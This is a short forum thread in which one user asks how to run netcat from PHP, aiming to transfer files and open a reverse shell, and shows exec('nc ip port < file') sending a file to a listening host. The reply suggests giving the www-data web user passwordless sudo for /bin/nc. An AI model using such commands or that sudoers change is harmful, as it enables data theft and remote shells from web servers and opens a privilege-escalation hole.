Running netcat with PHP

[ctrlaltcasper]

I'm trying to execute netcat using PHP. I've been stuck in this for hours, tried many different combination such as passthru, exec, system, and shell_exec. I searched Google but no luck so far. I'm just testing to see if I can do anything with netcat sush as tranfering files and reverse shell. I'm able to execute other commands such as ping, ls, whoami, etc. but not netcat. This is what I have so far:

exec ('nc ip port < file');

I have shell listening for connections but nothing happens. Any help would be really appreciated, thanks in advance!

[PeejAvery]

I would bet you it's a permissions issue.

Add the following to your /etc/sudoers

www-data ALL = NOPASSWD: /bin/nc